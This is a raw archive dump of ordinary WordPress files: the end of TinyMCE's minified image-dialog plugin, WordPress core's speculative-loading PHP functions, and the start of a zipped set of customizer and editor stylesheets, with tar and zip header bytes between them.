style",type:"listbox",name:"borderStyle",width:90,maxWidth:90,onselect:function(e){ce(t,e.control.rootControl)},values:[{text:"Select...",value:""},{text:"Solid",value:"solid"},{text:"Dotted",value:"dotted"},{text:"Dashed",value:"dashed"},{text:"Double",value:"double"},{text:"Groove",value:"groove"},{text:"Ridge",value:"ridge"},{text:"Inset",value:"inset"},{text:"Outset",value:"outset"},{text:"None",value:"none"},{text:"Hidden",value:"hidden"}]}]}]};var o},de=function(e,t){e.state.set("oldVal",e.value()),t.state.set("oldVal",t.value())},me=function(e,t){var n=e.find("#width")[0],r=e.find("#height")[0],a=e.find("#constrain")[0];n&&r&&a&&t(n,r,a.checked())},ge=function(e,t,n){var r=e.state.get("oldVal"),a=t.state.get("oldVal"),o=e.value(),i=t.value();n&&r&&a&&o&&i&&(o!==r?(i=Math.round(o/r*i),isNaN(i)||t.value(i)):(o=Math.round(i/a*o),isNaN(o)||e.value(o))),de(e,t)},fe=function(e){me(e,ge)},pe=function(){var e=function(e){fe(e.control.rootControl)};return{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:5,onchange:e,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:5,onchange:e,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}},he=function(e){me(e,de)},ve=fe,be=function(e){e.meta=e.control.rootControl.toJSON()},ye=function(s,e){var t=[{name:"src",type:"filepicker",filetype:"image",label:"Source",autofocus:!0,onchange:function(e){var t,n,r,a,o,i,l,u,c;n=s,i=(t=e).meta||{},l=t.control,u=l.rootControl,(c=u.find("#image-list")[0])&&c.value(n.convertURL(l.value(),"src")),C.each(i,function(e,t){u.find("#"+t).value(e)}),i.width||i.height||(r=n.convertURL(l.value(),"src"),a=m(n),o=new RegExp("^(?:[a-z]+:)?//","i"),a&&!o.test(r)&&r.substring(0,a.length)!==a&&(r=a+r),l.value(r),_(n.documentBaseURI.toAbsolute(l.value()),function(e){e.width&&e.height&&d(n)&&(u.find("#width").value(e.width),u.find("#height").value(e.height),he(u))}))},onbeforecall:be},e];return r(s)&&t.push({name:"alt",type:"textbox",label:"Image description"}),a(s)&&t.push({name:"title",type:"textbox",label:"Image Title"}),d(s)&&t.push(pe()),n(s)&&t.push({name:"class",type:"listbox",label:"Class",values:T(n(s),function(e){e.value&&(e.textStyle=function(){return s.formatter.getCssText({inline:"img",classes:[e.value]})})})}),o(s)&&t.push({name:"caption",type:"checkbox",label:"Caption"}),t},xe=function(e,t){return{title:"General",type:"form",items:ye(e,t)}},we=ye,Ce=function(){return x.getOrDie("URL")},Se=function(e){return Ce().createObjectURL(e)},Ne=function(e){Ce().revokeObjectURL(e)},_e=tinymce.util.Tools.resolve("tinymce.ui.Factory"),Te=function(){};function Ae(i){var t=function(e,r,a,t){var o,n;(o=new(x.getOrDie("XMLHttpRequest"))).open("POST",i.url),o.withCredentials=i.credentials,o.upload.onprogress=function(e){t(e.loaded/e.total*100)},o.onerror=function(){a("Image upload failed due to a XHR Transport error. Code: "+o.status)},o.onload=function(){var e,t,n;o.status<200||300<=o.status?a("HTTP Error: "+o.status):(e=JSON.parse(o.responseText))&&"string"==typeof e.location?r((t=i.basePath,n=e.location,t?t.replace(/\/$/,"")+"/"+n.replace(/^\//,""):n)):a("Invalid JSON: "+o.responseText)},(n=new l.FormData).append("file",e.blob(),e.filename()),o.send(n)};return i=C.extend({credentials:!1,handler:t},i),{upload:function(e){return i.url||i.handler!==t?(r=e,a=i.handler,new w(function(e,t){try{a(r,e,t,Te)}catch(n){t(n.message)}})):w.reject("Upload url missing from the settings.");var r,a}}}var Re=function(u){return function(e){var t=_e.get("Throbber"),n=e.control.rootControl,r=new t(n.getEl()),a=e.control.value(),o=Se(a),i=Ae({url:f(u),basePath:h(u),credentials:v(u),handler:p(u)}),l=function(){r.hide(),Ne(o)};return r.show(),L(a).then(function(e){var t=u.editorUpload.blobCache.create({blob:a,blobUri:o,name:a.name?a.name.replace(/\.[^\.]+$/,""):null,base64:e.split(",")[1]});return i.upload(t).then(function(e){var t=n.find("#src");return t.value(e),n.find("tabpanel")[0].activateTab(0),t.fire("change"),l(),e})})["catch"](function(e){u.windowManager.alert(e),l()})}},Ie=".jpg,.jpeg,.png,.gif",Oe=function(e){return{title:"Upload",type:"form",layout:"flex",direction:"column",align:"stretch",padding:"20 20 20 20",items:[{type:"container",layout:"flex",direction:"column",align:"center",spacing:10,items:[{text:"Browse for an image",type:"browsebutton",accept:Ie,onchange:Re(e)},{text:"OR",type:"label"}]},{text:"Drop an image here",type:"dropzone",accept:Ie,height:100,onchange:Re(e)}]}};function Le(r){for(var a=[],e=1;e<arguments.length;e++)a[e-1]=arguments[e];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=a.concat(e);return r.apply(null,n)}}var Pe=function(t,e){var n=e.control.getRoot();ve(n),t.undoManager.transact(function(){var e=E(ie(t),n.toJSON());ue(t,e)}),t.editorUpload.uploadImagesAuto()};function Ue(o){function e(e){var n,t,r=ie(o);if(e&&(t={type:"listbox",label:"Image list",name:"image-list",values:T(e,function(e){e.value=o.convertURL(e.value||e.url,"src")},[{text:"None",value:""}]),value:r.src&&o.convertURL(r.src,"src"),onselect:function(e){var t=n.find("#alt");(!t.value()||e.lastControl&&t.value()===e.lastControl.text())&&t.value(e.control.text()),n.find("#src").value(e.control.value()).fire("change")},onPostRender:function(){t=this}}),u(o)||s(o)||g(o)){var a=[xe(o,t)];u(o)&&a.push(se(o)),(s(o)||g(o))&&a.push(Oe(o)),n=o.windowManager.open({title:"Insert/edit image",data:r,bodyType:"tabpanel",body:a,onSubmit:Le(Pe,o)})}else n=o.windowManager.open({title:"Insert/edit image",data:r,body:we(o,t),onSubmit:Le(Pe,o)});he(n)}return{open:function(){t(o,e)}}}var Ee=function(e){e.addCommand("mceImage",Ue(e).open)},ke=function(o){return function(e){for(var t,n,r=e.length,a=function(e){e.attr("contenteditable",o?"true":null)};r--;)t=e[r],(n=t.attr("class"))&&/\bimage\b/.test(n)&&(t.attr("contenteditable",o?"false":null),C.each(t.getAll("figcaption"),a))}},Me=function(e){e.on("preInit",function(){e.parser.addNodeFilter("figure",ke(!0)),e.serializer.addNodeFilter("figure",ke(!1))})},De=function(e){e.addButton("image",{icon:"image",tooltip:"Insert/edit image",onclick:Ue(e).open,stateSelector:"img:not([data-mce-object],[data-mce-placeholder]),figure.image"}),e.addMenuItem("image",{icon:"image",text:"Image",onclick:Ue(e).open,context:"insert",prependToContext:!0})};e.add("image",function(e){Me(e),De(e),Ee(e)})}(window);14338/speculative-loading.php.tar000064400000024000151024420100012444 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/speculative-loading.php000064400000020556151024203340026026 0ustar00<?php
/**
 * Speculative loading functions.
 *
 * @package WordPress
 * @subpackage Speculative Loading
 * @since 6.8.0
 */

/**
 * Returns the speculation rules configuration.
 *
 * @since 6.8.0
 *
 * @return array<string, string>|null Associative array with 'mode' and 'eagerness' keys, or null if speculative
 *                                    loading is disabled.
 */
function wp_get_speculation_rules_configuration(): ?array {
	// By default, speculative loading is only enabled for sites with pretty permalinks when no user is logged in.
	if ( ! is_user_logged_in() && get_option( 'permalink_structure' ) ) {
		$config = array(
			'mode'      => 'auto',
			'eagerness' => 'auto',
		);
	} else {
		$config = null;
	}

	/**
	 * Filters the way that speculation rules are configured.
	 *
	 * The Speculation Rules API is a web API that allows to automatically prefetch or prerender certain URLs on the
	 * page, which can lead to near-instant page load times. This is also referred to as speculative loading.
	 *
	 * There are two aspects to the configuration:
	 * * The "mode" (whether to "prefetch" or "prerender" URLs).
	 * * The "eagerness" (whether to speculatively load URLs in an "eager", "moderate", or "conservative" way).
	 *
	 * By default, the speculation rules configuration is decided by WordPress Core ("auto"). This filter can be used
	 * to force a certain configuration, which could for instance load URLs more or less eagerly.
	 *
	 * For logged-in users or for sites that are not configured to use pretty permalinks, the default value is `null`,
	 * indicating that speculative loading is entirely disabled.
	 *
	 * @since 6.8.0
	 * @see https://developer.chrome.com/docs/web-platform/prerender-pages
	 *
	 * @param array<string, string>|null $config Associative array with 'mode' and 'eagerness' keys, or `null`. The
	 *                                           default value for both of the keys is 'auto'. Other possible values
	 *                                           for 'mode' are 'prefetch' and 'prerender'. Other possible values for
	 *                                           'eagerness' are 'eager', 'moderate', and 'conservative'. The value
	 *                                           `null` is used to disable speculative loading entirely.
	 */
	$config = apply_filters( 'wp_speculation_rules_configuration', $config );

	// Allow the value `null` to indicate that speculative loading is disabled.
	if ( null === $config ) {
		return null;
	}

	// Sanitize the configuration and replace 'auto' with current defaults.
	$default_mode      = 'prefetch';
	$default_eagerness = 'conservative';
	if ( ! is_array( $config ) ) {
		return array(
			'mode'      => $default_mode,
			'eagerness' => $default_eagerness,
		);
	}
	if (
		! isset( $config['mode'] ) ||
		'auto' === $config['mode'] ||
		! WP_Speculation_Rules::is_valid_mode( $config['mode'] )
	) {
		$config['mode'] = $default_mode;
	}
	if (
		! isset( $config['eagerness'] ) ||
		'auto' === $config['eagerness'] ||
		! WP_Speculation_Rules::is_valid_eagerness( $config['eagerness'] ) ||
		// 'immediate' is a valid eagerness, but for safety WordPress does not allow it for document-level rules.
		'immediate' === $config['eagerness']
	) {
		$config['eagerness'] = $default_eagerness;
	}

	return array(
		'mode'      => $config['mode'],
		'eagerness' => $config['eagerness'],
	);
}

/**
 * Returns the full speculation rules data based on the configuration.
 *
 * Plugins with features that rely on frontend URLs to exclude from prefetching or prerendering should use the
 * {@see 'wp_speculation_rules_href_exclude_paths'} filter to ensure those URL patterns are excluded.
 *
 * Additional speculation rules other than the default rule from WordPress Core can be provided by using the
 * {@see 'wp_load_speculation_rules'} action and amending the passed WP_Speculation_Rules object.
 *
 * @since 6.8.0
 * @access private
 *
 * @return WP_Speculation_Rules|null Object representing the speculation rules to use, or null if speculative loading
 *                                   is disabled in the current context.
 */
function wp_get_speculation_rules(): ?WP_Speculation_Rules {
	$configuration = wp_get_speculation_rules_configuration();
	if ( null === $configuration ) {
		return null;
	}

	$mode      = $configuration['mode'];
	$eagerness = $configuration['eagerness'];

	$prefixer = new WP_URL_Pattern_Prefixer();

	$base_href_exclude_paths = array(
		$prefixer->prefix_path_pattern( '/wp-*.php', 'site' ),
		$prefixer->prefix_path_pattern( '/wp-admin/*', 'site' ),
		$prefixer->prefix_path_pattern( '/*', 'uploads' ),
		$prefixer->prefix_path_pattern( '/*', 'content' ),
		$prefixer->prefix_path_pattern( '/*', 'plugins' ),
		$prefixer->prefix_path_pattern( '/*', 'template' ),
		$prefixer->prefix_path_pattern( '/*', 'stylesheet' ),
	);

	/*
	 * If pretty permalinks are enabled, exclude any URLs with query parameters.
	 * Otherwise, exclude specifically the URLs with a `_wpnonce` query parameter or any other query parameter
	 * containing the word `nonce`.
	 */
	if ( get_option( 'permalink_structure' ) ) {
		$base_href_exclude_paths[] = $prefixer->prefix_path_pattern( '/*\\?(.+)', 'home' );
	} else {
		$base_href_exclude_paths[] = $prefixer->prefix_path_pattern( '/*\\?*(^|&)*nonce*=*', 'home' );
	}

	/**
	 * Filters the paths for which speculative loading should be disabled.
	 *
	 * All paths should start in a forward slash, relative to the root document. The `*` can be used as a wildcard.
	 * If the WordPress site is in a subdirectory, the exclude paths will automatically be prefixed as necessary.
	 *
	 * Note that WordPress always excludes certain path patterns such as `/wp-login.php` and `/wp-admin/*`, and those
	 * cannot be modified using the filter.
	 *
	 * @since 6.8.0
	 *
	 * @param string[] $href_exclude_paths Additional path patterns to disable speculative loading for.
	 * @param string   $mode               Mode used to apply speculative loading. Either 'prefetch' or 'prerender'.
	 */
	$href_exclude_paths = (array) apply_filters( 'wp_speculation_rules_href_exclude_paths', array(), $mode );

	// Ensure that:
	// 1. There are no duplicates.
	// 2. The base paths cannot be removed.
	// 3. The array has sequential keys (i.e. array_is_list()).
	$href_exclude_paths = array_values(
		array_unique(
			array_merge(
				$base_href_exclude_paths,
				array_map(
					static function ( string $href_exclude_path ) use ( $prefixer ): string {
						return $prefixer->prefix_path_pattern( $href_exclude_path );
					},
					$href_exclude_paths
				)
			)
		)
	);

	$speculation_rules = new WP_Speculation_Rules();

	$main_rule_conditions = array(
		// Include any URLs within the same site.
		array(
			'href_matches' => $prefixer->prefix_path_pattern( '/*' ),
		),
		// Except for excluded paths.
		array(
			'not' => array(
				'href_matches' => $href_exclude_paths,
			),
		),
		// Also exclude rel=nofollow links, as certain plugins use that on their links that perform an action.
		array(
			'not' => array(
				'selector_matches' => 'a[rel~="nofollow"]',
			),
		),
		// Also exclude links that are explicitly marked to opt out, either directly or via a parent element.
		array(
			'not' => array(
				'selector_matches' => ".no-{$mode}, .no-{$mode} a",
			),
		),
	);

	// If using 'prerender', also exclude links that opt out of 'prefetch' because it's part of 'prerender'.
	if ( 'prerender' === $mode ) {
		$main_rule_conditions[] = array(
			'not' => array(
				'selector_matches' => '.no-prefetch, .no-prefetch a',
			),
		);
	}

	$speculation_rules->add_rule(
		$mode,
		'main',
		array(
			'source'    => 'document',
			'where'     => array(
				'and' => $main_rule_conditions,
			),
			'eagerness' => $eagerness,
		)
	);

	/**
	 * Fires when speculation rules data is loaded, allowing to amend the rules.
	 *
	 * @since 6.8.0
	 *
	 * @param WP_Speculation_Rules $speculation_rules Object representing the speculation rules to use.
	 */
	do_action( 'wp_load_speculation_rules', $speculation_rules );

	return $speculation_rules;
}

/**
 * Prints the speculation rules.
 *
 * For browsers that do not support speculation rules yet, the `script[type="speculationrules"]` tag will be ignored.
 *
 * @since 6.8.0
 * @access private
 */
function wp_print_speculation_rules(): void {
	$speculation_rules = wp_get_speculation_rules();
	if ( null === $speculation_rules ) {
		return;
	}

	wp_print_inline_script_tag(
		(string) wp_json_encode(
			$speculation_rules
		),
		array( 'type' => 'speculationrules' )
	);
}
14338/css.zip000064400015513007151024420100006543 0ustar00PK1Xd[>��]UUcustomize-preview-rtl.cssnu�[���/*! This file is auto-generated */
.customize-partial-refreshing {
	opacity: 0.25;
	transition: opacity 0.25s;
	cursor: progress;
}

/* Override highlight when refreshing */
.customize-partial-refreshing.widget-customizer-highlighted-widget {
	box-shadow: none;
}

/* Make shortcut buttons essentially invisible */
.widget .customize-partial-edit-shortcut,
.customize-partial-edit-shortcut {
	position: absolute;
	float: right;
	width: 1px; /* required to have a size to be focusable in Safari */
	height: 1px;
	padding: 0;
	margin: -1px -1px 0 0;
	border: 0;
	background: transparent;
	color: transparent;
	box-shadow: none;
	outline: none;
	z-index: 5;
}

/**
 * Styles for the actual shortcut
 *
 * Note that some properties are overly verbose to prevent theme interference.
 */
.widget .customize-partial-edit-shortcut button,
.customize-partial-edit-shortcut button {
	position: absolute;
	right: -30px;
	top: 2px;
	color: #fff;
	width: 30px;
	height: 30px;
	min-width: 30px;
	min-height: 30px;
	line-height: 1 !important;
	font-size: 18px;
	z-index: 5;
	background: #3582c4 !important;
	border-radius: 50%;
	border: 2px solid #fff;
	box-shadow: 0 2px 1px rgba(60, 67, 74, 0.15);
	text-align: center;
	cursor: pointer;
	box-sizing: border-box;
	padding: 3px;
	animation-fill-mode: both;
	animation-duration: .4s;
	opacity: 0;
	pointer-events: none;
	text-shadow:
		0 -1px 1px #135e96,
		-1px 0 1px #135e96,
		0 1px 1px #135e96,
		1px 0 1px #135e96;
}
.wp-custom-header .customize-partial-edit-shortcut button {
	right: 2px
}

.customize-partial-edit-shortcut button svg {
	fill: #fff;
	min-width: 20px;
	min-height: 20px;
	width: 20px;
	height: 20px;
	margin: auto;
}

.customize-partial-edit-shortcut button:hover {
	background: #4f94d4 !important; /* matches primary buttons */
}

.customize-partial-edit-shortcut button:focus {
	box-shadow: 0 0 0 2px #4f94d4;
}

body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button {
	animation-name: customize-partial-edit-shortcut-bounce-appear;
	pointer-events: auto;
}
body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button {
	animation-name: customize-partial-edit-shortcut-bounce-disappear;
	pointer-events: none;
}

.page-sidebar-collapsed .customize-partial-edit-shortcut button,
.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button {
	visibility: hidden;
}

@keyframes customize-partial-edit-shortcut-bounce-appear {
	from, 20%, 40%, 60%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
	}
	0% {
		opacity: 0;
		transform: scale3d(.3, .3, .3);
	}
	20% {
		transform: scale3d(1.1, 1.1, 1.1);
	}
	40% {
		transform: scale3d(.9, .9, .9);
	}
	60% {
		opacity: 1;
		transform: scale3d(1.03, 1.03, 1.03);
	}
	80% {
		transform: scale3d(.97, .97, .97);
	}
	to {
		opacity: 1;
		transform: scale3d(1, 1, 1);
	}
}

@keyframes customize-partial-edit-shortcut-bounce-disappear {
	from, 20%, 40%, 60%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
	}
	0% {
		opacity: 1;
		transform: scale3d(1, 1, 1);
	}
	20% {
		transform: scale3d(.97, .97, .97);
	}
	40% {
		opacity: 1;
		transform: scale3d(1.03, 1.03, 1.03);
	}
	60% {
		transform: scale3d(.9, .9, .9);
	}
	80% {
		transform: scale3d(1.1, 1.1, 1.1);
	}
	to {
		opacity: 0;
		transform: scale3d(.3, .3, .3);
	}
}

@media screen and (max-width: 800px) {
	.widget .customize-partial-edit-shortcut button,
	.customize-partial-edit-shortcut button {
		right: -32px;
	}
}

@media screen and (max-width: 320px) {
	.widget .customize-partial-edit-shortcut button,
	.customize-partial-edit-shortcut button {
		right: -30px;
	}
}
PK1Xd['ٺ���wp-empty-template-alert.cssnu�[���#wp-empty-template-alert {
    display: flex;
    padding: var(--wp--style--root--padding-right, 2rem);
    min-height: 60vh;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    gap: var(--wp--style--block-gap, 2rem);
}

#wp-empty-template-alert > * {
     max-width: 400px;
}

#wp-empty-template-alert h2,
#wp-empty-template-alert p {
    margin: 0;
    text-align: center;
}

#wp-empty-template-alert a {
    margin-top: 1rem;
}
PK1Xd[b��{�h�heditor-rtl.min.cssnu�[���/*! This file is auto-generated */
.mce-tinymce{box-shadow:none}.mce-container,.mce-container *,.mce-widget,.mce-widget *{color:inherit;font-family:inherit}.mce-container .mce-monospace,.mce-widget .mce-monospace{font-family:Consolas,Monaco,monospace;font-size:13px;line-height:150%}#mce-modal-block,#mce-modal-block.mce-fade{opacity:.7;transition:none;background:#000}.mce-window{border-radius:0;box-shadow:0 3px 6px rgba(0,0,0,.3);-webkit-font-smoothing:subpixel-antialiased;transition:none}.mce-window .mce-container-body.mce-abs-layout{overflow:visible}.mce-window .mce-window-head{background:#fff;border-bottom:1px solid #dcdcde;padding:0;min-height:36px}.mce-window .mce-window-head .mce-title{color:#3c434a;font-size:18px;font-weight:600;line-height:36px;margin:0;padding:0 16px 0 36px}.mce-window .mce-window-head .mce-close,.mce-window-head .mce-close .mce-i-remove{color:transparent;top:0;left:0;width:36px;height:36px;padding:0;line-height:36px;text-align:center}.mce-window-head .mce-close .mce-i-remove:before{font:normal 20px/36px dashicons;text-align:center;color:#646970;width:36px;height:36px;display:block}.mce-window-head .mce-close:focus .mce-i-remove:before,.mce-window-head .mce-close:hover .mce-i-remove:before{color:#135e96}.mce-window-head .mce-close:focus .mce-i-remove,div.mce-tab:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-window .mce-window-head .mce-dragh{width:calc(100% - 36px)}.mce-window .mce-foot{border-top:1px solid #dcdcde}#wp-link .query-results,.mce-checkbox i.mce-i-checkbox,.mce-textbox{border:1px solid #dcdcde;border-radius:0;box-shadow:inset 0 1px 2px rgba(0,0,0,.07);transition:.05s all ease-in-out}#wp-link .query-results:focus,.mce-checkbox:focus i.mce-i-checkbox,.mce-textbox.mce-focus,.mce-textbox:focus{border-color:#4f94d4;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-window .mce-wp-help{height:360px;width:460px;overflow:auto}.mce-window .mce-wp-help *{box-sizing:border-box}.mce-window .mce-wp-help>.mce-container-body{width:auto!important}.mce-window .wp-editor-help{padding:10px 20px 0 10px}.mce-window .wp-editor-help h2,.mce-window .wp-editor-help p{margin:8px 0;white-space:normal;font-size:14px;font-weight:400}.mce-window .wp-editor-help table{width:100%;margin-bottom:20px}.mce-window .wp-editor-help table.wp-help-single{margin:0 8px 20px}.mce-window .wp-editor-help table.fixed{table-layout:fixed}.mce-window .wp-editor-help table.fixed td:nth-child(odd),.mce-window .wp-editor-help table.fixed th:nth-child(odd){width:12%}.mce-window .wp-editor-help table.fixed td:nth-child(2n),.mce-window .wp-editor-help table.fixed th:nth-child(2n){width:38%}.mce-window .wp-editor-help table.fixed th:nth-child(odd){padding:5px 0 0}.mce-window .wp-editor-help td,.mce-window .wp-editor-help th{font-size:13px;padding:5px;vertical-align:middle;word-wrap:break-word;white-space:normal}.mce-window .wp-editor-help th{font-weight:600;padding-bottom:0}.mce-window .wp-editor-help kbd{font-family:monospace;padding:2px 7px 3px;font-weight:600;margin:0;background:#f0f0f1;background:rgba(0,0,0,.08)}.mce-window .wp-help-th-center td:nth-child(odd),.mce-window .wp-help-th-center th:nth-child(odd){text-align:center}.mce-floatpanel.mce-popover,.mce-menu{border-color:rgba(0,0,0,.15);border-radius:0;box-shadow:0 3px 5px rgba(0,0,0,.2)}.mce-floatpanel.mce-popover.mce-bottom,.mce-menu{margin-top:2px}.mce-floatpanel .mce-arrow{display:none}.mce-menu .mce-container-body{min-width:160px}.mce-menu-item{border:none;margin-bottom:2px;padding:6px 12px 6px 15px}.mce-menu-has-icons i.mce-ico{line-height:20px}div.mce-panel{border:0;background:#fff}.mce-panel.mce-menu{border:1px solid #dcdcde}div.mce-tab{line-height:13px}div.mce-toolbar-grp{border-bottom:1px solid #dcdcde;background:#f6f7f7;padding:0;position:relative}div.mce-inline-toolbar-grp{border:1px solid #a7aaad;border-radius:2px;box-shadow:0 1px 3px rgba(0,0,0,.15);box-sizing:border-box;margin-bottom:8px;position:absolute;-webkit-user-select:none;user-select:none;max-width:98%;z-index:100100}div.mce-inline-toolbar-grp>div.mce-stack-layout{padding:1px}div.mce-inline-toolbar-grp.mce-arrow-up{margin-bottom:0;margin-top:8px}div.mce-inline-toolbar-grp:after,div.mce-inline-toolbar-grp:before{position:absolute;right:50%;display:block;width:0;height:0;border-style:solid;border-color:transparent;content:""}div.mce-inline-toolbar-grp.mce-arrow-up:before{top:-9px;border-bottom-color:#a7aaad;border-width:0 9px 9px;margin-right:-9px}div.mce-inline-toolbar-grp.mce-arrow-down:before{bottom:-9px;border-top-color:#a7aaad;border-width:9px 9px 0;margin-right:-9px}div.mce-inline-toolbar-grp.mce-arrow-up:after{top:-8px;border-bottom-color:#f6f7f7;border-width:0 8px 8px;margin-right:-8px}div.mce-inline-toolbar-grp.mce-arrow-down:after{bottom:-8px;border-top-color:#f6f7f7;border-width:8px 8px 0;margin-right:-8px}div.mce-inline-toolbar-grp.mce-arrow-left:after,div.mce-inline-toolbar-grp.mce-arrow-left:before{margin:0}div.mce-inline-toolbar-grp.mce-arrow-left:before{right:20px}div.mce-inline-toolbar-grp.mce-arrow-left:after{right:21px}div.mce-inline-toolbar-grp.mce-arrow-right:after,div.mce-inline-toolbar-grp.mce-arrow-right:before{right:auto;margin:0}div.mce-inline-toolbar-grp.mce-arrow-right:before{left:20px}div.mce-inline-toolbar-grp.mce-arrow-right:after{left:21px}div.mce-inline-toolbar-grp.mce-arrow-full{left:0}div.mce-inline-toolbar-grp.mce-arrow-full>div{width:100%;overflow-x:auto}div.mce-toolbar-grp>div{padding:3px}.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first{padding-left:32px}.mce-toolbar .mce-btn-group{margin:0}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}div.mce-statusbar{border-top:1px solid #dcdcde}div.mce-path{padding:2px 10px;margin:0}.mce-path,.mce-path .mce-divider,.mce-path-item{font-size:12px}.mce-toolbar .mce-btn,.qt-dfw{border-color:transparent;background:0 0;box-shadow:none;text-shadow:none;cursor:pointer}.mce-btn .mce-txt{direction:inherit;text-align:inherit}.mce-toolbar .mce-btn-group .mce-btn,.qt-dfw{border:1px solid transparent;margin:2px;border-radius:2px}.mce-toolbar .mce-btn-group .mce-btn:focus,.mce-toolbar .mce-btn-group .mce-btn:hover,.qt-dfw:focus,.qt-dfw:hover{background:#f6f7f7;color:#1d2327;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-toolbar .mce-btn-group .mce-btn.mce-active,.mce-toolbar .mce-btn-group .mce-btn:active,.qt-dfw.active{background:#f0f0f1;border-color:#50575e}.mce-btn.mce-active,.mce-btn.mce-active button,.mce-btn.mce-active i,.mce-btn.mce-active:hover button,.mce-btn.mce-active:hover i{color:inherit}.mce-toolbar .mce-btn-group .mce-btn.mce-active:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover{border-color:#1d2327}.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover{color:#a7aaad;background:0 0;border-color:#dcdcde;text-shadow:0 1px 0 #fff;box-shadow:none}.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus{border-color:#50575e}.mce-toolbar .mce-btn-group .mce-first,.mce-toolbar .mce-btn-group .mce-last{border-color:transparent}.mce-toolbar .mce-btn button,.qt-dfw{padding:2px 3px;line-height:normal}.mce-toolbar .mce-listbox button{font-size:13px;line-height:1.53846153;padding-right:6px;padding-left:20px}.mce-toolbar .mce-btn i{text-shadow:none}.mce-toolbar .mce-btn-group>div{white-space:normal}.mce-toolbar .mce-colorbutton .mce-open{border-left:0}.mce-toolbar .mce-colorbutton .mce-preview{margin:0;padding:0;top:auto;bottom:2px;right:3px;height:3px;width:20px;background:#50575e}.mce-toolbar .mce-btn-group .mce-btn.mce-primary{min-width:0;background:#3582c4;border-color:#2271b1 #135e96 #135e96;box-shadow:0 1px 0 #135e96;color:#fff;text-decoration:none;text-shadow:none}.mce-toolbar .mce-btn-group .mce-btn.mce-primary button{padding:2px 3px 1px}.mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico{color:#fff}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover{background:#4f94d4;border-color:#135e96;color:#fff}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus{box-shadow:0 0 1px 1px #72aee6}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:active{background:#2271b1;border-color:#135e96;box-shadow:inset 0 2px 0 #135e96}.mce-toolbar .mce-btn-group .mce-btn.mce-listbox{border-radius:0;direction:rtl;background:#fff;border:1px solid #dcdcde}.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-panel .mce-btn i.mce-caret{border-top:6px solid #50575e;margin-right:2px;margin-left:2px}.mce-listbox i.mce-caret{left:4px}.mce-panel .mce-btn:focus i.mce-caret,.mce-panel .mce-btn:hover i.mce-caret{border-top-color:#1d2327}.mce-panel .mce-active i.mce-caret{border-top:0;border-bottom:6px solid #1d2327;margin-top:7px}.mce-listbox.mce-active i.mce-caret{margin-top:-3px}.mce-toolbar .mce-splitbtn:hover .mce-open{border-left-color:transparent}.mce-toolbar .mce-splitbtn .mce-open.mce-active{background:0 0;outline:0}.mce-menu .mce-menu-item.mce-active.mce-menu-item-normal,.mce-menu .mce-menu-item.mce-active.mce-menu-item-preview,.mce-menu .mce-menu-item.mce-selected,.mce-menu .mce-menu-item:focus,.mce-menu .mce-menu-item:hover{background:#2271b1;color:#fff}.mce-menu .mce-menu-item.mce-selected .mce-caret,.mce-menu .mce-menu-item:focus .mce-caret,.mce-menu .mce-menu-item:hover .mce-caret{border-right-color:#fff}.rtl .mce-menu .mce-menu-item.mce-selected .mce-caret,.rtl .mce-menu .mce-menu-item:focus .mce-caret,.rtl .mce-menu .mce-menu-item:hover .mce-caret{border-left-color:inherit;border-right-color:#fff}.mce-menu .mce-menu-item.mce-active .mce-menu-shortcut,.mce-menu .mce-menu-item.mce-disabled:hover .mce-ico,.mce-menu .mce-menu-item.mce-disabled:hover .mce-text,.mce-menu .mce-menu-item.mce-selected .mce-ico,.mce-menu .mce-menu-item.mce-selected .mce-text,.mce-menu .mce-menu-item:focus .mce-ico,.mce-menu .mce-menu-item:focus .mce-menu-shortcut,.mce-menu .mce-menu-item:focus .mce-text,.mce-menu .mce-menu-item:hover .mce-ico,.mce-menu .mce-menu-item:hover .mce-menu-shortcut,.mce-menu .mce-menu-item:hover .mce-text{color:inherit}.mce-menu .mce-menu-item.mce-disabled{cursor:default}.mce-menu .mce-menu-item.mce-disabled:hover{background:#c3c4c7}div.mce-menubar{border-color:#dcdcde;background:#fff;border-width:0 0 1px}.mce-menubar .mce-menubtn.mce-active,.mce-menubar .mce-menubtn:focus,.mce-menubar .mce-menubtn:hover{border-color:transparent;background:0 0}.mce-menubar .mce-menubtn:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-menu-item-sep:hover,div.mce-menu .mce-menu-item-sep{border-bottom:1px solid #dcdcde;height:0;margin:5px 0}.mce-menubtn span{margin-left:0;padding-right:3px}.mce-menu-has-icons i.mce-ico:before{margin-right:-2px}.mce-menu.mce-menu-align 